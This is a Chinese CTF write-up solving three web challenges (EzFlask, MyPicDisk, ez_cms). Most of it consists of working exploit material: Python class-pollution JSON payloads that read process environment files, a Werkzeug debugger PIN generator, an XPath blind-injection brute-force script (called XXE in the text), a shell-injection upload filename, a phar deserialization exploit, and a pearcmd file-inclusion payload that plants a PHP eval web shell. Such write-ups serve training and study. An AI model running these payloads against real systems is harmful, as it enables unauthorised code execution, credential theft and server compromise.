邯鄲網(wǎng)站建設(shè)兼職網(wǎng)址模板建站
文章目錄
- EzFlask
- 方法一 python原型鏈污染
- 方法二 flask框架靜態(tài)文件
- 方法三 pin碼計算
- MyPicDisk
- 方法一 字符串拼接執(zhí)行命令
- 方法二 phar反序列化
- ez_cms
EzFlask
考點:python原型鏈污染、flask框架理解、pin碼計算
源碼如下
import uuidfrom flask import Flask, request, session
from secret import black_list
import jsonapp = Flask(__name__)
app.secret_key = str(uuid.uuid4())def check(data):for i in black_list:if i in data:return Falsereturn Truedef merge(src, dst):for k, v in src.items():if hasattr(dst, '__getitem__'):if dst.get(k) and type(v) == dict:merge(v, dst.get(k))else:dst[k] = velif hasattr(dst, k) and type(v) == dict:merge(v, getattr(dst, k))else:setattr(dst, k, v)class user():def __init__(self):self.username = ""self.password = ""passdef check(self, data):if self.username == data['username'] and self.password == data['password']:return Truereturn FalseUsers = []@app.route('/register',methods=['POST'])
def register():if request.data:try:if not check(request.data):return "Register Failed"data = json.loads(request.data)if "username" not in data or "password" not in data:return "Register Failed"User = user()merge(data, User)Users.append(User)except Exception:return "Register Failed"return "Register Success"else:return "Register Failed"@app.route('/login',methods=['POST'])
def login():if request.data:try:data = json.loads(request.data)if "username" not in data or "password" not in data:return "Login Failed"for user in Users:if user.check(data):session["username"] = data["username"]return "Login Success"except Exception:return "Login Failed"return "Login Failed"@app.route('/',methods=['GET'])
def index():return open(__file__, "r").read()if __name__ == "__main__":app.run(host="0.0.0.0", port=5010)
分析一下,首先定義了check函數(shù)進(jìn)行黑名單檢測,然后是存在merge函數(shù)可以進(jìn)行原型鏈污染,定義user的類;/register
路由下先進(jìn)行check檢測,接收json格式數(shù)據(jù),進(jìn)行merge原型鏈污染;/login
路由下,接收json數(shù)據(jù),判斷username的session是否正確;/
路由下會讀取源碼文件(我們可以污染進(jìn)行回顯)
方法一 python原型鏈污染
前置知識
NodeJs原型鏈污染中,對象的__proto__屬性,指向這個對象所在的類的prototype屬性。如果我們修改了son.__proto__中的值,就可以修改父類。
在Python中,所有以雙下劃線__包起來的方法,統(tǒng)稱為Magic Method(魔術(shù)方法),它是一種的特殊方法,普通方法需要調(diào)用,而魔術(shù)方法不需要調(diào)用就可以自動執(zhí)行。
由于跟路由下會讀取源碼內(nèi)容,我們可以污染__file__
全局變量實現(xiàn)任意文件讀取
由于過濾了__init__
,我們可以通過Unicode編碼繞過或者用類中的check代替
payload如下
{"username":"1","password":"1","__class__":{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"__file__":"/proc/1/environ"}}}
}
然后再訪問得到flag
方法二 flask框架靜態(tài)文件
前置知識
在 Python 中,全局變量 app 和 _static_folder 通常用于構(gòu)建 Web 應(yīng)用程序,并且這兩者在 Flask 框架中經(jīng)常使用。
- app 全局變量:
- app 是 Flask 應(yīng)用的實例,是一個 Flask 對象。通過創(chuàng)建 app 對象,我們可以定義路由、處理請求、設(shè)置配置等,從而構(gòu)建一個完整的 Web 應(yīng)用程序。
- Flask 應(yīng)用實例是整個應(yīng)用的核心,負(fù)責(zé)處理用戶的請求并返回相應(yīng)的響應(yīng)??梢酝ㄟ^ app.route 裝飾器定義路由,將不同的 URL 請求映射到對應(yīng)的處理函數(shù)上。
- app 對象包含了大量的功能和方法,例如 route、run、add_url_rule 等,這些方法用于處理請求和設(shè)置應(yīng)用的各種配置。
- 通過 app.run() 方法,我們可以在指定的主機和端口上啟動 Flask 應(yīng)用,使其監(jiān)聽并處理客戶端的請求。
- _static_folder 全局變量:
- _static_folder 是 Flask 應(yīng)用中用于指定靜態(tài)文件的文件夾路徑。靜態(tài)文件通常包括 CSS、JavaScript、圖像等,用于展示網(wǎng)頁的樣式和交互效果。
- 靜態(tài)文件可以包含在 Flask 應(yīng)用中,例如 CSS 文件用于設(shè)置網(wǎng)頁樣式,JavaScript 文件用于實現(xiàn)網(wǎng)頁的交互功能,圖像文件用于顯示圖形內(nèi)容等。
- 在 Flask 中,可以通過 app.static_folder 屬性來訪問 _static_folder,并指定存放靜態(tài)文件的文件夾路徑。默認(rèn)情況下,靜態(tài)文件存放在應(yīng)用程序的根目錄下的 static 文件夾中。
- Flask 在處理請求時,會自動尋找靜態(tài)文件的路徑,并將靜態(tài)文件發(fā)送給客戶端,使網(wǎng)頁能夠正確地顯示樣式和圖像。
綜上所述,app 和 _static_folder 這兩個全局變量在 Flask 應(yīng)用中都扮演著重要的角色,app 是整個應(yīng)用的核心實例,用于處理請求和設(shè)置應(yīng)用的配置,而 _static_folder 是用于指定靜態(tài)文件的存放路徑,使網(wǎng)頁能夠正確地加載和顯示樣式和圖像。
我們污染"_static_folder":"/"
,使得靜態(tài)目錄直接設(shè)置為了根目錄,那么我們就可以訪問/static/proc/1/environ
payload如下
{"username":"1","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"__globals__":{"app":{"_static_folder":"/"}}}
}
訪問靜態(tài)文件即可
方法三 pin碼計算
由于我們已經(jīng)知道存在原型鏈污染,我們可以結(jié)合任意文件讀取有效信息計算pin碼
腳本如下
import hashlib
from itertools import chain
probably_public_bits = ['root' 'flask.app','Flask','/usr/local/lib/python3.10/site-packages/flask/app.py'
]private_bits = ['2485376927778', '96cec10d3d9307792745ec3b85c896208a7dfdfc8f7d6dcb17dd8f606197f476c809c20027ebc4655a4cdc517760bc44'
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv = None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)
然后訪問/console
即可
MyPicDisk
考點:xxe盲注、命令執(zhí)行、phar反序列化
打開題目,給了登錄框,試試萬能密碼抓包看看
發(fā)現(xiàn)有hint
訪問把源碼下載下來
<?php
session_start();
error_reporting(0);
class FILE{public $filename;public $lasttime;public $size;public function __construct($filename){if (preg_match("/\//i", $filename)){throw new Error("hacker!");}$num = substr_count($filename, ".");if ($num != 1){throw new Error("hacker!");}if (!is_file($filename)){throw new Error("???");}$this->filename = $filename;$this->size = filesize($filename);$this->lasttime = filemtime($filename);}public function remove(){unlink($this->filename);}public function show(){echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";}public function __destruct(){system("ls -all ".$this->filename);}
}
?>
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){echo '
<form method="POST">username:<input type="text" name="username"></p>password:<input type="password" name="password"></p><input type="submit" value="登錄" name="submit"></p>
</form>
';$xml = simplexml_load_file('/tmp/secret.xml');if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登錄失敗';}else{$_SESSION['user'] = $username;echo "<script>alert('登錄成功!');location.href='/index.php';</script>";}}
}
else{if ($_SESSION['user'] !== 'admin') {echo "<script>alert('you are not admin!!!!!');</script>";unset($_SESSION['user']);echo "<script>location.href='/index.php';</script>";}echo "<!-- /y0u_cant_find_1t.zip -->";if (!$_GET['file']) {foreach (scandir(".") as $filename) {if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";}}echo '<form action="index.php" method="post" enctype="multipart/form-data">選擇圖片:<input type="file" name="file" id=""><input type="submit" value="上傳"></form>';if ($_FILES['file']) {$filename = $_FILES['file']['name'];if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {die("hacker!");}if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {echo "<script>alert('圖片上傳成功!');location.href='/index.php';</script>";} else {die('failed');}}}else{$filename = $_GET['file'];if ($_GET['todo'] === "md5"){echo md5_file($filename);}else {$file = new FILE($filename);if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {echo "<img src='../" . $filename . "'><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";} else if ($_GET['todo'] === "remove") {$file->remove();echo "<script>alert('圖片已刪除!');location.href='/index.php';</script>";} else if ($_GET['todo'] === "show") {$file->show();}}}
}
?>
</body>
</html>
分析如下
- 定義了FILE類,包含三個屬性。實例化的時候檢測是否包含
/
,且是否只有一個.
符號。然后定義了remove和show方法,最后會對文件名命令執(zhí)行(此處可以rce) - 然后就是接收登陸參數(shù)以及session值是否為admin
- 最后對上傳文件進(jìn)行白名單檢測,然后提供remove和show功能,上傳成功后會對文件名實例化
我們剛剛?cè)f能密碼登錄后發(fā)現(xiàn)并不是admin的session,所以還是不行
我們看向下面代碼,存在xxe漏洞
if($_POST['submit']){$username=$_POST['username'];$password=md5($_POST['password']);$x_query="/accounts/user[username='{$username}' and password='{$password}']";$result = $xml->xpath($x_query);if(count($result)==0){echo '登錄失敗';}else{$_SESSION['user'] = $username;echo "<script>alert('登錄成功!');location.href='/index.php';</script>";}}
其中重要代碼$x_query="/accounts/user[username='{$username}' and password='{$password}']";
構(gòu)建一個XPath查詢語句,用于在XML文件中查
xxe盲注腳本如下
import requests
import time
url ='http://0f5e84c5-9aba-4f79-9744-65916fd167a9.node4.buuoj.cn:81/'strs ='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'flag =''
for i in range(1,100):for j in strs:#猜測根節(jié)點名稱 #accounts# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}# payload_username ="<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)#猜測子節(jié)點名稱 #user# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])# payload_username ="<username>'or substring(name(/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j)#猜測accounts的節(jié)點# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#猜測user節(jié)點# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])#跑用戶名和密碼 #admin #003d7628772d6b57fec5f30ccbc82be1# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)、# payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)data={"username":payload_username,"password":123,"submit":"1"}print(payload_username)r = requests.post(url=url,data=data)time.sleep(0.1)# print(r.text)if "登錄成功" in r.text:flag+=jprint(flag)breakif "登錄失敗" in r.text:breakprint(flag)
注出來的再拿去解密得到密碼
登陸后發(fā)現(xiàn)有文件上傳功能
方法一 字符串拼接執(zhí)行命令
我們已經(jīng)知道上傳圖片成功后會對FILE實例化,結(jié)合下面實現(xiàn)rce
public function __destruct(){system("ls -all ".$this->filename);}
注:一定不能報錯,否則不會執(zhí)行destruct
我們可以bp抓包,修改文件名如下
;`echo Y2F0IC9hZGphcyo= | base64 -d`;1.jpg
然后上傳成功后訪問?file=上傳文件名
即可
方法二 phar反序列化
這個思路的利用點如下
if ($_GET['todo'] === "md5"){echo md5_file($filename);
}
md5_file函數(shù)
一般參數(shù)是string形式的文件名稱($filename)的函數(shù),都可以用來解析phar
我們可以創(chuàng)建phar文件修改后綴,然后再file讀取(todo參數(shù)值為md5)
exp
<?phpclass FILE{public $filename=';cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd';public $lasttime;public $size;}
$a=new FILE();
$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
然后bp抓包修改后綴
然后用phar偽協(xié)議讀取即可
?file=phar://hacker.jpg&&todo=md5
ez_cms
考點:熊海cms
拿到題目,去網(wǎng)上找找相關(guān)漏洞,發(fā)現(xiàn)存在后臺登陸
盲猜用戶為admin,然后密碼爆破一下為123456
登錄后,我們查到存在任意文件讀取漏洞
試試讀取源碼
然后下載下來
<?php
//單一入口模式
error_reporting(0); //關(guān)閉錯誤顯示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判斷為空或者等于index
include('files/'.$action.'.php'); //載入相應(yīng)文件
?>
分析一下,addslashes函數(shù)禁用了偽協(xié)議,將參數(shù)進(jìn)行拼接
不過我們可以嘗試pearcmd讀取
payload如下
?+config-create+/&r=../../../../usr/share/php/pearcmd&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php
坑點:這里的pearcmd的路徑不為默認(rèn)路徑,出題人改了
我們bp抓包發(fā)送,成功寫入
訪問?r=../../../../tmp/shell
命令執(zhí)行得到flag